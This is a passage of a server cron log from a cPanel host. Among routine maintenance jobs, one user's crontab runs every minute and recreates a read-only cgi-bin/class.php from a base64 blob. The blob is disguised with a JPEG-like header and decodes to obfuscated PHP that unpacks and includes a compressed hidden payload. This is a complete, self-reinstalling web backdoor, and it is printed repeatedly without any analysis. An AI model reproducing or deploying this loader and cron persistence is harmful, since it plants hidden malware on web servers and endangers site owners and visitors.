6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 11:05:01 server CROND[9910]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 11:06:01 server CROND[10891]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 11:06:01 server CROND[10892]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 11:06:01 server CROND[10893]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 11:07:01 server CROND[11260]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 11:07:01 server CROND[11261]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 11:07:01 server CROND[11262]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 11:08:01 server CROND[11635]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 11:08:01 server CROND[11634]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 11:08:01 server CROND[11636]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 11:09:01 server CROND[12018]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 11:09:01 server CROND[12019]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 11:09:01 server CROND[12020]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 12 11:09:01 server CROND[12021]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 11:10:01 server CROND[12430]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 11:10:01 server CROND[12433]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 11:10:01 server CROND[12434]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 11:10:01 server CROND[12435]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 11:10:01 server CROND[12432]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 11:10:01 server CROND[12436]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 11:10:01 server CROND[12440]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 11:10:01 server CROND[12438]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 11:11:01 server CROND[13393]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 11:11:01 server CROND[13394]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 11:11:01 server CROND[13395]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 11:12:01 server CROND[13785]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 11:12:01 server CROND[13784]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 11:12:01 server CROND[13786]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 11:12:01 server CROND[13787]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 11:13:01 server CROND[14175]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 11:13:01 server CROND[14176]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 11:13:01 server CROND[14178]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 11:14:01 server CROND[14585]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 11:14:01 server CROND[14586]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 11:14:01 server CROND[14587]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 11:15:01 server CROND[14992]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 11:15:01 server CROND[14994]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 11:15:01 server CROND[14995]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 11:15:01 server CROND[14997]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 11:15:01 server CROND[15000]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 11:15:01 server CROND[14999]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 11:15:01 server CROND[15002]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 11:15:01 server CROND[15001]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 12 11:16:01 server CROND[15852]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 11:16:01 server CROND[15853]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 11:16:01 server CROND[15854]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 11:17:01 server CROND[16389]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 11:17:01 server CROND[16390]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 11:17:01 server CROND[16391]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 11:18:01 server CROND[16780]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
